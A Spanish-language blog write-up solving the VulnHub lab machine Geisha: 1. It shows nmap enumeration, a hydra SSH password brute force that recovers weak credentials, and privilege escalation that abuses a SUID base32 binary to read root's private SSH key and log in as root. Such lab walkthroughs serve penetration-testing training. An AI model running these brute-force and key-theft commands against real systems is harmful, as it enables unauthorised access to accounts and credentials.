Saltar al contenido

VulnHub – Geisha: 1 -Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Geisha: 1 de VulnHub. Es una máquina Linux, de nivel fácil para VulnHub y Proving Grounds, basada en fuerza bruta y una encriptación muy simple pero realmente sencilla de resolver.

Enumeración

Comienzo averiguando la IP que ha tomado la máquina con netdiscover.

sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 192.168.71.160

En la máquina hay siete puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p21,22,80,7080,7125,8088,9198 -sCV 192.168.71.160
Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-16 14:37 CEST
Nmap scan report for 192.168.71.160
Host is up (0.00040s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 1b:f2:5d:cd:89:13:f2:49:00:9f:8c:f9:eb:a2:a2:0c (RSA)
|   256 31:5a:65:2e:ab:0f:59:ab:e0:33:3a:0c:fc:49:e0:5f (ECDSA)
|_  256 c6:a7:35:14:96:13:f8:de:1e:e2:bc:e7:c7:66:8b:ac (ED25519)
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Geisha
7080/tcp open  ssl/http LiteSpeed httpd
|_http-server-header: LiteSpeed
|_http-title: Geisha
| ssl-cert: Subject: commonName=geisha/organizationName=webadmin/countryName=US
| Not valid before: 2020-05-09T14:01:34
|_Not valid after:  2022-05-09T14:01:34
|_ssl-date: 2022-05-16T12:37:48+00:00; 0s from scanner time.
| tls-alpn: 
|   h2
|   spdy/3
|   spdy/2
|_  http/1.1
7125/tcp open  http     nginx 1.17.10
|_http-server-header: nginx/1.17.10
|_http-title: Geisha
8088/tcp open  http     LiteSpeed httpd
|_http-server-header: LiteSpeed
|_http-title: Geisha
9198/tcp open  http     SimpleHTTPServer 0.6 (Python 2.7.16)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.16
|_http-title: Geisha
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds

Después de un rato enumerando, veo que se repite mucho la palabra geisha, así que me la guardo como usuario.

Explotación

Hago un ataque por fuerza bruta al ssh con hydra utilizando geisha como usuario y el diccionario rockyou.txt para buscar contraseñas.

hydra -l geisha -P /usr/share/wordlists/rockyou.txt -s 22 192.168.71.160 ssh -V -f

Después de un unos minutos, encuentra las credenciales geisha:letmein.

Utilizo las credenciales geisha:letmein para conectarme por ssh.

ssh geisha@192.168.71.160

Escalada de Privilegios

Ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que la máquina tiene el bit SUID habilitado para el binario /usr/bin/base32.

A priori esto parece no aportarme mucho pero recuerdo la típica prueba de pasar una vulnerabilidad LFI a RCE y como uno de los principales vectores de ataque es mirar intentar conseguir la clave privada de ssh. Hago una primera prueba intentando acceder al id_rsa de root.

base32 '/root/.ssh/id_rsa'

Como parece que he podido acceder al fichero, voy a repetir la ejecución pero esta vez decodificaré la salida y puedo comprobar que he conseguido la clave privada de root.

base32 '/root/.ssh/id_rsa' | base32 -d

Copio la clave privada, le doy los permisos necesarios y la utilizo para conectarme por ssh con el usuario root.

chmod 600 id_rsa
ssh -i id_rsa root@192.168.71.160

La flag de root la encuentro en /root/root.txt.

Publicado enCriptografíaCTFLinuxOSCPVulnHub